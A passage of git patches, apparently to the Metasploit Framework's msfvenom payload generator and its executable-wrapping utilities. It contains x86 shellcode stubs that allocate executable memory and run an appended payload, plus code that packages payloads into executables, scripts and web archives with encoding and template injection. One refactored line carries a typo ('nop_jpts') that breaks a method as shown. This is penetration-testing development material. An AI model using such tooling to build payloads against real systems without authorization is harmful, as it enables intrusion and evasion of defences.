PAGE_EXECUTE_READWRITE @@ -1659,10 +1659,9 @@ def self.win32_rwx_exec(code) get_payload: call got_payload payload: - ; Append an arbitary payload here + ; Append an arbitrary payload here ^ - stub_alloc.gsub!('short', '') stub_alloc.gsub!('byte', '') @@ -1693,10 +1692,8 @@ def self.win32_rwx_exec(code) wrapper << stub_final enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded - off = enc.offset_of_reloc('PAYLOAD_SIZE') res = enc.data + code - res[off,4] = [code.length].pack('V') res end @@ -1735,12 +1732,11 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') not_lowercase: ; ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name - dec ecx - jnz loop_modname ; Loop untill we have read enough + loop loop_modname ; Loop until we have read enough ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later - ; Proceed to itterate the export address table, + ; Proceed to iterate the export address table, mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header add eax, edx ; Add the modules base address @@ -1796,7 +1792,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module - jmp next_mod ; Process this module + jmp next_mod ; Process this module ^ stub_exit = %Q^ @@ -1830,7 +1826,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') pop ebp ; Pop off the address of 'api_call' for calling later. allocate_size: - mov esi,PAYLOAD_SIZE + mov esi,#{code.length} allocate: push byte 0x40 ; PAGE_EXECUTE_READWRITE @@ -1876,7 +1872,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') get_payload: call got_payload payload: - ; Append an arbitary payload here + ; Append an arbitrary payload here ^ @@ -1918,11 +1914,9 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') wrapper << stub_final enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded - off = enc.offset_of_reloc('PAYLOAD_SIZE') soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1 res = enc.data + code - res[off,4] = [code.length].pack('V') if which_offset == 'start' res[soff,4] = [block_offset - (soff + 4)].pack('V') elsif which_offset == 'end' @@ -1935,15 +1929,35 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') # - # This routine is shared between msfencode, rpc, and payload modules (use ) + # Generate an executable of a given format suitable for running on the + # architecture/platform pair. # - # It will return nil if it wasn't able to generate any output. + # This routine is shared between msfencode, rpc, and payload modules (use + # ) # + # @param framework [Framework] + # @param arch [String] Architecture for the target format; one of the ARCH_* + # constants + # @param plat [#index] platform + # @param code [String] The shellcode for the resulting executable to run + # @param fmt [String] One of the executable formats as defined in + # {.to_executable_fmt_formats} + # @param exeopts [Hash] Passed directly to the approrpriate method for + # generating an executable for the given +arch+/+plat+ pair. + # @return [String] An executable appropriate for the given + # architecture/platform pair. + # @return [nil] If the format is unrecognized or the arch and plat don't + # make sense together. def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) - output = nil case fmt + when 'asp' + output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts) + + when 'aspx' + output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts) + when 'dll' if (not arch or (arch.index(ARCH_X86))) output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts) @@ -1978,29 +1992,32 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) - if (not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts) - elsif (arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - output = Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts) - end + output = case arch + when ARCH_X86,nil then Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts) + when ARCH_X86_64 then Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts) + when ARCH_X64 then Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts) + when ARCH_ARMLE then Msf::Util::EXE.to_linux_armle_elf(framework, code, exeopts) + when ARCH_MIPSBE then Msf::Util::EXE.to_linux_mipsbe_elf(framework, code, exeopts) + when ARCH_MIPSLE then Msf::Util::EXE.to_linux_mipsle_elf(framework, code, exeopts) + end elsif(plat and (plat.index(Msf::Module::Platform::BSD))) - if (not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts) - end + output = case arch + when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts) + end elsif(plat and (plat.index(Msf::Module::Platform::Solaris))) - if (not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_solaris_x86_elf(framework, code, exeopts) - end + output = case arch + when ARCH_X86,nil then Msf::Util::EXE.to_solaris_x86_elf(framework, code, exeopts) + end end when 'macho' - if (not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts) - end - - if (arch and (arch.index(ARCH_X86_64) or arch.index(ARCH_X64))) - output = Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts) - end + output = case arch + when ARCH_X86,nil then Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts) + when ARCH_X86_64 then Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts) + when ARCH_X64 then Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts) + when ARCH_ARMLE then Msf::Util::EXE.to_osx_arm_macho(framework, code, exeopts) + when ARCH_PPC then Msf::Util::EXE.to_osx_ppc_macho(framework, code, exeopts) + end when 'vba' output = Msf::Util::EXE.to_vba(framework, code, exeopts) @@ -2015,12 +2032,6 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) when 'loop-vbs' output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true })) - when 'asp' - output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts) - - when 'aspx' - output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts) - when 'war' arch ||= [ ARCH_X86 ] tmp_plat = plat.platforms if plat @@ -2040,7 +2051,10 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) end def self.to_executable_fmt_formats - ['dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] + [ + 'dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe', + 'vbs','loop-vbs','asp','aspx','war','psh','psh-net' + ] end # diff --git a/msfvenom b/msfvenom index 622445c7ad7c0..e4791b608b5d2 100755 --- a/msfvenom +++ b/msfvenom @@ -1,9 +1,6 @@ #!/usr/bin/env ruby # -*- coding: binary -*- -# -# $Id: msfvenom 14909 2012-03-10 06:50:03Z rapid7 $ -# $Revision: 14909 $ -# + msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) @@ -426,107 +423,54 @@ end $stdout.binmode -if opts[:format] !~/^(ruby|rb|perl|pl|bash|sh|c|csharp|js|dll|elf)$/i - exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts) -end +case opts[:format].downcase +# Special-case this to check endianness +when "js_be" -case opts[:format] -when /^(ruby|rb|perl|pl|bash|sh|c|csharp|js_le|raw|py)$/i - $stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format]) -when /^asp$/ - asp = Msf::Util::EXE.to_win32pe_asp($framework, payload_raw, exeopts) - $stdout.puts asp -when /^aspx$/ - aspx = Msf::Util::EXE.to_win32pe_aspx($framework, payload_raw, exeopts) - $stdout.puts aspx -when /^js_be$/i if Rex::Arch.endian(payload.arch) != ENDIAN_BIG print_error("Big endian format selected for a non big endian payload") exit end - $stdout.puts Msf::Simple::Buffer.transform(payload_raw, opts[:format]) -when /^java$/i + $stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format]) + +# Special-case this so we can build a war directly from the payload if +# possible +when "war" + exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts) + if (!exe and payload.platform.platforms.index(Msf::Module::Platform::Java)) + exe = payload.generate_war.pack + else + exe = Msf::Util::EXE.to_jsp_war(exe) + end + $stdout.write exe + +# Same as war, special-case this so we can build a jar directly from the +# payload if possible +when "java" + exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts) if(!exe and payload.platform.platforms.index(Msf::Module::Platform::Java)) exe = payload.generate_jar.pack end - if exe $stdout.write exe else print_error("Could not generate payload format") end -when /^elf$/i - if (opts[:platform].index(Msf::Module::Platform::Linux)) - elf = case opts[:arch] - when /^x64$/; Msf::Util::EXE.to_linux_x64_elf($framework, payload_raw, exeopts) - when /^x86$/; Msf::Util::EXE.to_linux_x86_elf($framework, payload_raw, exeopts) - when /^arm$/; Msf::Util::EXE.to_linux_armle_elf($framework, payload_raw, exeopts) - end - elsif(opts[:platform].index(Msf::Module::Platform::BSD)) - elf = case opts[:arch] - when /^x86$/; Msf::Util::EXE.to_bsd_x86_elf($framework, payload_raw, exeopts) - end - elsif(opts[:platform].index(Msf::Module::Platform::Solaris)) - elf = case opts[:arch] - when /^x86$/; Msf::Util::EXE.to_solaris_x86_elf($framework, payload_raw, exeopts) - end - end - if elf.nil? - print_error("This format does not support that architecture") - exit - end - $stdout.write elf -when /^macho$/i - bin = case opts[:arch] - when /^x64$/; Msf::Util::EXE.to_osx_x64_macho($framework, payload_raw, exeopts) - when /^x86$/; Msf::Util::EXE.to_osx_x86_macho($framework, payload_raw, exeopts) - when /^arm$/; Msf::Util::EXE.to_osx_arm_macho($framework, payload_raw, exeopts) - when /^ppc$/; Msf::Util::EXE.to_osx_ppc_macho($framework, payload_raw, exeopts) - end - if bin.nil? - print_error("This format does not support that architecture") - exit - end - $stdout.write bin -when /^dll$/i - dll = case opts[:arch] - when /^x86$/; Msf::Util::EXE.to_win32pe_dll($framework, payload_raw) - when /^(x64|x86_64)$/; Msf::Util::EXE.to_win64pe_dll($framework, payload_raw) - end - if dll.nil? - print_error("This format does not support that architecture") - exit - end - $stdout.write dll -when /^exe$/i - $stdout.write exe -when /^exe-small$/i -when /^vba$/i - vba = Msf::Util::EXE.to_vba($framework, payload_raw) - $stdout.puts vba -when /^vba-exe$/i - exe = Msf::Util::EXE.to_win32pe($framework, payload_raw) - vba = Msf::Util::EXE.to_exe_vba(exe) - $stdout.puts vba -when /^vbs$/i - exe = Msf::Util::EXE.to_win32pe($framework, payload_raw) - vbs = Msf::Util::EXE.to_exe_vbs(exe) - $stdout.puts vbs -when /^war$/i - if (!exe and payload.platform.platforms.index(Msf::Module::Platform::Java)) - exe = payload.generate_war.pack - else - exe = Msf::Util::EXE.to_jsp_war(exe) +when *Msf::Simple::Buffer.transform_formats + $stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format]) + +when *Msf::Util::EXE.to_executable_fmt_formats + exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts) + if exe.nil? + print_error("This format does not support that platform/architecture") + exit end $stdout.write exe -when /^psh$/i - psh = Msf::Util::EXE.to_win32pe_psh($framework, payload_raw, exeopts) - $stdout.write psh -when /^psh-net$/i - psh = Msf::Util::EXE.to_win32pe_psh_net($framework, payload_raw, exeopts) - $stdout.write psh + else print_error("Unsupported format") exit end + + From 4b2ae4ef6a1d0a8c5344136994bc0bb76d710b24 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 1 Jul 2013 17:15:48 -0500 Subject: [PATCH 013/454] Refactor msfvenom into a class Also adds some minimal testing... which is super slow because it doesn't cache the framework object across tests. Conflicts: msfvenom Hopefully picked up all the relevant fixes from #2027 --- msfvenom | 903 +++++++++++++++++++++--------------------- spec/msfvenom_spec.rb | 49 +++ 2 files changed, 498 insertions(+), 454 deletions(-) create mode 100644 spec/msfvenom_spec.rb diff --git a/msfvenom b/msfvenom index e4791b608b5d2..120600bf36176 100755 --- a/msfvenom +++ b/msfvenom @@ -10,467 +10,462 @@ $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) require 'fastlib' require 'msfenv' - $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] -Status = "[*] " -Error = "[-] " - -require 'optparse' - -def parse_args - opts = {} - datastore = {} - opt = OptionParser.new - opt.banner = "Usage: #{$0} [options] " - opt.separator('') - opt.separator('Options:') - - opt.on('-p', '--payload [payload]', String, 'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p| - if p == '-' - opts[:payload] = 'stdin' - else - opts[:payload] = p - end - end - - opt.on('-l', '--list [module_type]', Array, 'List a module type example: payloads, encoders, nops, all') do |l| - if l.nil? or l.empty? - l = ["all"] - end - opts[:list] = l - end - - opt.on('-n', '--nopsled [length]', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n| - opts[:nopsled] = n.to_i - end - - opt.on('-f', '--format [format]', String, 'Output format (use --help-formats for a list)') do |f| - opts[:format] = f - end - - opt.on('-e', '--encoder [encoder]', String, 'The encoder to use') do |e| - opts[:encode] = true - opts[:encoder] = e - end - - opt.on('-a', '--arch [architecture]', String, 'The architecture to use') do |a| - opts[:arch] = a - end - - opt.on('--platform [platform]', String, 'The platform of the payload') do |l| - opts[:platform] = l - end - - opt.on('-s', '--space [length]', Integer, 'The maximum size of the resulting payload') do |s| - opts[:space] = s - end - - opt.on('-b', '--bad-chars [list]', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| - opts[:badchars] = b - end - - opt.on('-i', '--iterations [count]', Integer, 'The number of times to encode the payload') do |i| - opts[:iterations] = i - end - - opt.on('-c', '--add-code [path]', String, 'Specify an additional win32 shellcode file to include') do |x| - opts[:addshellcode] = x - end - - opt.on('-x', '--template [path]', String, 'Specify a custom executable file to use as a template') do |x| - opts[:template] = x - unless File.exist?(x) - $stderr.puts "Template file (#{x}) does not exist" - exit 1 - end - end - - opt.on('-k', '--keep', 'Preserve the template behavior and inject the payload as a new thread') do - opts[:inject] = true - end - - opt.on('-o', '--options', 'List the payload\'s standard options') do - opts[:list_options] = true - end - - opt.on_tail('-h', '--help', 'Show this message') do - $stderr.puts opt - exit(1) - end - - opt.on_tail('--help-formats', String, 'List available formats') do - require 'rex' - require 'msf/ui' - require 'msf/base' - $framework = Msf::Simple::Framework.create( - :module_types => [], - 'DisableDatabase' => true - ) - puts "Executable formats" - puts "\t" + Msf::Util::EXE.to_executable_fmt_formats.join(", ") - puts "Transform formats" - puts "\t" + Msf::Simple::Buffer.transform_formats.join(", ") - exit 1 - end - - begin - opt.parse! - rescue OptionParser::InvalidOption, OptionParser::MissingArgument - puts "Invalid option, try -h for usage" - exit(1) - end - - args = ARGV.dup - if args - args.each do |x| - k,v = x.split('=', 2) - datastore[k.upcase] = v.to_s - end - end - - if opts.empty? - puts "no options" - puts opt - exit(1) - end - - if opts[:payload].nil? # if no payload option is selected assume we are reading it from stdin - opts[:payload] = "stdin" - end - - return [datastore, opts] -end - -def print_status(msg) - $stderr.puts(Status + msg) -end - -def print_error(msg) - $stderr.puts(Error + msg) -end - -def get_encoders(arch, encoder) - encoders = [] - - if (encoder) - encoders << $framework.encoders.create(encoder) - else - $framework.encoders.each_module_ranked( - 'Arch' => arch ? arch.split(',') : nil) { |name, mod| - encoders << mod.new - } - end - - encoders -end - -def payload_stdin - $stdin.binmode - payload = $stdin.read - payload -end - -def generate_nops(arch, len, nop_mod=nil, opts={}) - opts['BadChars'] ||= '' - opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ] - - if nop_mod - nop = $framework.nops.create(nop_mod) - raw = nop.generate_sled(len, opts) - return raw if raw - end - - $framework.nops.each_module_ranked('Arch' => arch) do |name, mod| - begin - nop = $framework.nops.create(name) - raw = nop.generate_sled(len, opts) - return raw if raw - rescue - end - end - nil -end - -def dump_payloads - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework Payloads (#{$framework.stats.num_payloads} total)", - 'Columns' => - [ - "Name", - "Description" - ]) - - $framework.payloads.each_module { |name, mod| - tbl << [ name, mod.new.description ] - } - - "\n" + tbl.to_s + "\n" -end - -def dump_encoders(arch = nil) - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : ""), - 'Columns' => - [ - "Name", - "Rank", - "Description" - ]) - cnt = 0 - - $framework.encoders.each_module( - 'Arch' => arch ? arch.split(',') : nil) { |name, mod| - tbl << [ name, mod.rank_to_s, mod.new.name ] - - cnt += 1 - } - - (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n" -end - -def dump_nops - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework NOPs (#{$framework.stats.num_nops} total)", - 'Columns' => - [ - "Name", - "Description" - ]) - - $framework.nops.each_module { |name, mod| - tbl << [ name, mod.new.description ] - } - - "\n" + tbl.to_s + "\n" -end - -datastore, opts = parse_args - require 'rex' require 'msf/ui' require 'msf/base' -$framework ||= Msf::Simple::Framework.create( - :module_types => [Msf::MODULE_PAYLOAD, Msf::MODULE_ENCODER, Msf::MODULE_NOP], - 'DisableDatabase' => true -) - -if opts[:list] - opts[:list].each do |mod| - case mod - when /^payloads$/i - $stderr.puts dump_payloads - when /^encoders$/i - $stderr.puts dump_encoders(opts[:arch]) - when /^nops$/i - $stderr.puts dump_nops - when /^all$/i - $stderr.puts dump_payloads - $stderr.puts dump_encoders - $stderr.puts dump_nops - else - print_error("Invalid module type") - end - end - exit -end - -if opts[:payload] - if opts[:payload] == 'stdin' - payload_raw = payload_stdin - if opts[:encode] and (opts[:arch].nil? or opts[:platform].nil?) - print_error("Cannot encode stdin payload without specifying the proper architecture and platform") - opts[:encode] = false - end - else - payload = $framework.payloads.create(opts[:payload]) - if payload.nil? - print_error("Invalid payload: #{opts[:payload]}") - exit - end - payload.datastore.merge! datastore - end +class MsfVenom + class MsfVenomError < StandardError; end + class UsageError < MsfVenomError; end + class NoTemplateError < MsfVenomError; end + + Status = "[*] " + Error = "[-] " + + require 'optparse' + + def init_framework(create_opts={}) + return @framework if @framework + create_opts[:module_types] ||= [ + ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP + ] + @framework = ::Msf::Simple::Framework.create(create_opts.merge('DisableDatabase' => true)) + end + + def parse_args(args) + @opts = {} + @datastore = {} + opt = OptionParser.new + opt.banner = "Usage: #{$0} [options] " + opt.separator('') + opt.separator('Options:') + + opt.on('-p', '--payload [payload]', String, 'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p| + if p == '-' + @opts[:payload] = 'stdin' + else + @opts[:payload] = p + end + end + + opt.on('-l', '--list [module_type]', Array, 'List a module type example: payloads, encoders, nops, all') do |l| + if l.nil? or l.empty? + l = ["all"] + end + @opts[:list] = l + end + + opt.on('-n', '--nopsled [length]', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n| + @opts[:nopsled] = n.to_i + end + + opt.on('-f', '--format [format]', String, "Output format (use --help-formats for a list)") do |f| + @opts[:format] = f + end + + opt.on('-e', '--encoder [encoder]', String, 'The encoder to use') do |e| + @opts[:encode] = true + @opts[:encoder] = e + end + + opt.on('-a', '--arch [architecture]', String, 'The architecture to use') do |a| + @opts[:arch] = a + end + + opt.on('--platform [platform]', String, 'The platform of the payload') do |l| + @opts[:platform] = l + end + + opt.on('-s', '--space [length]', Integer, 'The maximum size of the resulting payload') do |s| + @opts[:space] = s + end + + opt.on('-b', '--bad-chars [list] ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| + @opts[:badchars] = b + end + + opt.on('-i', '--iterations [count] ', Integer, 'The number of times to encode the payload') do |i| + @opts[:iterations] = i + end + + opt.on('-c', '--add-code [path] ', String, 'Specify an additional win32 shellcode file to include') do |x| + @opts[:addshellcode] = x + end + + opt.on('-x', '--template [path] ', String, 'Specify a custom executable file to use as a template') do |x| + @opts[:template] = x + end + + opt.on('-k', '--keep', 'Preserve the template behavior and inject the payload as a new thread') do + @opts[:inject] = true + end + + opt.on('-o', '--options', "List the payload's standard options") do + @opts[:list_options] = true + end + + opt.on_tail('-h', '--help', 'Show this message') do + raise UsageError, "#{opt}" + end + + opt.on_tail('--help-formats', String, "List available formats") do + init_framework(:module_types => []) + msg = "Executable formats\n" + + "\t" + ::Msf::Util::EXE.to_executable_fmt_formats.join(", ") + "\n" + + "Transform formats\n" + + "\t" + ::Msf::Simple::Buffer.transform_formats.join(", ") + raise UsageError, msg + end + + begin + opt.parse! + rescue OptionParser::InvalidOption => e + p e + raise UsageError, "Invalid option\n#{opt}" + rescue OptionParser::MissingArgument => e + p e + end + + if @opts.empty? + raise UsageError, "No options\n#{opt}" + end + + if args + args.each do |x| + k,v = x.split('=', 2) + @datastore[k.upcase] = v.to_s + end + end + + if @opts[:payload].nil? # if no payload option is selected assume we are reading it from stdin + @opts[:payload] = "stdin" + end + end + + def print_status(msg) + $stderr.puts(Status + msg) + end + + def print_error(msg) + $stderr.puts(Error + msg) + end + + def get_encoders(arch, encoder) + encoders = [] + + if (encoder) + encoders << @framework.encoders.create(encoder) + else + @framework.encoders.each_module_ranked( + 'Arch' => arch ? arch.split(',') : nil) { |name, mod| + encoders << mod.new + } + end + + encoders + end + + def payload_stdin + $stdin.binmode + payload = $stdin.read + payload + end + + def generate_nops(arch, len, nop_mod=nil, nop_opts={}) + nop_opts['BadChars'] ||= '' + nop_jpts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ] + + if nop_mod + nop = @framework.nops.create(nop_mod) + raw = nop.generate_sled(len, nop_opts) + return raw if raw + end + + @framework.nops.each_module_ranked('Arch' => arch) do |name, mod| + begin + nop = @framework.nops.create(name) + raw = nop.generate_sled(len, nop_opts) + return raw if raw + rescue + end + end + nil + end + + def dump_payloads + init_framework(:module_types => [ ::Msf::MODULE_PAYLOAD ]) + tbl = Rex::Ui::Text::Table.new( + 'Indent' => 4, + 'Header' => "Framework Payloads (#{@framework.stats.num_payloads} total)", + 'Columns' => + [ + "Name", + "Description" + ]) + + @framework.payloads.each_module { |name, mod| + tbl << [ name, mod.new.description ] + } + + "\n" + tbl.to_s + "\n" + end + + def dump_encoders(arch = nil) + init_framework(:module_types => [ ::Msf::MODULE_ENCODER ]) + tbl = Rex::Ui::Text::Table.new( + 'Indent' => 4, + 'Header' => "Framework Encoders" + ((arch) ? " (architectures: #{arch})" : ""), + 'Columns' => + [ + "Name", + "Rank", + "Description" + ]) + cnt = 0 + + @framework.encoders.each_module( + 'Arch' => arch ? arch.split(',') : nil) { |name, mod| + tbl << [ name, mod.rank_to_s, mod.new.name ] + + cnt += 1 + } + + (cnt > 0) ? "\n" + tbl.to_s + "\n" : "\nNo compatible encoders found.\n\n" + end + + def dump_nops + init_framework(:module_types => [ ::Msf::MODULE_NOP ]) + tbl = Rex::Ui::Text::Table.new( + 'Indent' => 4, + 'Header' => "Framework NOPs (#{@framework.stats.num_nops} total)", + 'Columns' => + [ + "Name", + "Description" + ]) + + @framework.nops.each_module { |name, mod| + tbl << [ name, mod.new.description ] + } + + "\n" + tbl.to_s + "\n" + end + + def generate_raw_payload + if @opts[:payload] == 'stdin' + payload_raw = payload_stdin + if @opts[:encode] and (@opts[:arch].nil? or @opts[:platform].nil?) + print_error("Cannot encode stdin payload without specifying the proper architecture and platform") + @opts[:encode] = false + end + # defaults for stdin payloads users should define them + unless @opts[:arch] + print_error("Defaulting to x86 architecture for stdin payload, use -a to change") + @opts[:arch] = "x86" + end + unless @opts[:platform] + print_error("Defaulting to Windows platform for stdin payload, use --platform to change") + @opts[:platform] = ::Msf::Module::PlatformList.transform("Windows") + end + else + payload = @framework.payloads.create(@opts[:payload]) + if payload.nil? + print_error("Invalid payload: #{@opts[:payload]}") + exit + end + if @opts[:list_options] + print_status("Options for #{payload.fullname}\n\n" + + ::Msf::Serializer::ReadableText.dump_module(payload,' ')) + exit + end + @opts[:arch] ||= payload.arch[0] + # If it's not stdin, we'll already have a PlatformList + @opts[:platform] ||= payload.platform + payload.datastore.merge! @datastore + payload_raw = payload.generate_simple( + 'Format' => 'raw', + 'Options' => @datastore, + 'Encoder' => nil) + end + + payload_raw + end + + + def generate + if @opts[:list] + @opts[:list].each do |mod| + case mod.downcase + when "payloads" + $stderr.puts dump_payloads + when "encoders" + $stderr.puts dump_encoders(@opts[:arch]) + when "nops" + $stderr.puts dump_nops + when "all" + # Init here so #dump_payloads doesn't create a framework with + # only payloads, etc. + init_framework + $stderr.puts dump_payloads + $stderr.puts dump_encoders + $stderr.puts dump_nops + else + print_error("Invalid module type") + end + end + exit + end + + # Normalize the options + @opts[:platform] = ::Msf::Module::PlatformList.transform(@opts[:platform]) if @opts[:platform] + @opts[:badchars] = Rex::Text.hex_to_raw(@opts[:badchars]) if @opts[:badchars] + @opts[:format] ||= 'ruby' + @opts[:encoder] ||= nil + @opts[:encode] ||= !(@opts[:badchars].nil? or @opts[:badchars].empty?) + + + init_framework + payload_raw = generate_raw_payload + + if @opts[:template] + unless File.exist?(@opts[:template]) + raise NoTemplateError, "Template file (#{@opts[:template]}) does not exist" + end + path = File.dirname(@opts[:template]) + altexe = File.basename(@opts[:template]) + end + exeopts = { :inject => @opts[:inject], :template_path => path, :template => altexe } + + # If we were given addshellcode for a win32 payload, + # create a double-payload; one running in one thread, one running in the other + if @opts[:addshellcode] and @opts[:platform].platforms.include?(::Msf::Module::Platform::Windows) and @opts[:arch] == 'x86' + payload_raw = ::Msf::Util::EXE.win32_rwx_exec_thread(payload_raw,0,'end') + file = ::File.new(@opts[:addshellcode]) + file.binmode + payload_raw << file.read + file.close + end + + if @opts[:encode] + done = false + encoders = get_encoders(@opts[:arch], @opts[:encoder]) + encoders.each do |enc| + next if not enc + begin + break if done + enc.datastore.import_options_from_hash(@datastore) + skip = false + raw = nil + + @opts[:iterations] ||= 1 + + 1.upto(@opts[:iterations].to_i) do |iteration| + begin + raw = enc.encode(payload_raw.dup, @opts[:badchars], nil, @opts[:platform]) + rescue ::Msf::EncodingError + print_error("#{enc.refname} failed: #{$!.class} : #{$!}") + skip = true + break + end + if @opts[:space] and @opts[:space] > 0 and raw.length > @opts[:space] + print_error("#{enc.refname} created buffer that is too big (#{raw.length})\n\n") + skip = true + break + end + + print_status("#{enc.refname} succeeded with size #{raw.length} (iteration=#{iteration})\n") + payload_raw = raw.dup + if iteration == @opts[:iterations] + done = true + break + end + end + next if skip + + rescue ::Errno::ENOENT, ::Errno::EINVAL + print_error("#{enc.refname} failed: #{$!}") + break + + rescue => e + print_error("#{enc.refname} failed: #{e.class} #{e}") + e.backtrace.each { |el| + $stderr.puts(el.to_s) + } + end + end + end + + if @opts[:nopsled] + #puts @opts[:arch].class + nopts = { 'BadChars' => @opts[:badchars] } + nops = generate_nops([@opts[:arch]], @opts[:nopsled], nil, nopts) + payload_raw = nops + payload_raw + end + + $stdout.binmode + + case @opts[:format].downcase + # Special-case this to check endianness + when "js_be" + + if Rex::Arch.endian(payload.arch) != ENDIAN_BIG + print_error("Big endian format selected for a non big endian payload") + exit + end + $stdout.write ::Msf::Simple::Buffer.transform(payload_raw, @opts[:format]) + + # Special-case this so we can build a war directly from the payload if + # possible + when "war" + exe = ::Msf::Util::EXE.to_executable_fmt(@framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) + if (!exe and payload.platform.platforms.index(::Msf::Module::Platform::Java)) + exe = payload.generate_war.pack + else + exe = ::Msf::Util::EXE.to_jsp_war(exe) + end + $stdout.write exe + + # Same as war, special-case this so we can build a jar directly from the + # payload if possible + when "java" + exe = ::Msf::Util::EXE.to_executable_fmt(@framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) + if(!exe and payload.platform.platforms.index(::Msf::Module::Platform::Java)) + exe = payload.generate_jar.pack + end + if exe + $stdout.write exe + else + print_error("Could not generate payload format") + end + + when *::Msf::Simple::Buffer.transform_formats + $stdout.write ::Msf::Simple::Buffer.transform(payload_raw, @opts[:format]) + + when *::Msf::Util::EXE.to_executable_fmt_formats + exe = ::Msf::Util::EXE.to_executable_fmt(@framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts) + if exe.nil? + print_error("This format does not support that platform/architecture") + exit + end + $stdout.write exe + + else + print_error("Unsupported format") + exit + end + end end -# Normalize the options -opts[:platform] = Msf::Module::PlatformList.transform(opts[:platform]) if opts[:platform] -opts[:badchars] = Rex::Text.hex_to_raw(opts[:badchars]) if opts[:badchars] - -# set the defaults unless something is already set by the user -if opts[:payload] != 'stdin' - opts[:arch] ||= payload.arch[0] - # If it's not stdin, we'll already have a PlatfromList - opts[:platform] ||= payload.platform -else - # defaults for stdin payloads users should define them - unless opts[:arch] - print_error("Defaulting to x86 architecture for stdin payload, use -a to change") - opts[:arch] = "x86" - end - unless opts[:platform] - print_error("Defaulting to Windows platform for stdin payload, use --platform to change") - opts[:platform] = Msf::Module::PlatformList.transform("Windows") - end -end - -# After this point, we will have set a platform, even if it's wrong. - -opts[:format] ||= 'ruby' -opts[:encoder] ||= nil -opts[:encode] ||= !(opts[:badchars].nil? or opts[:badchars].empty?) -if opts[:encoder].nil? - fmt = 'raw' -else - fmt = 'raw' - encoders = get_encoders(opts[:arch], opts[:encoder]) +if __FILE__ == $0 + begin + venom = MsfVenom.new + venom.parse_args(ARGV) + venom.generate + rescue MsfVenom::MsfVenomError => e + $stderr.puts e.message + exit(-1) + end end - -if 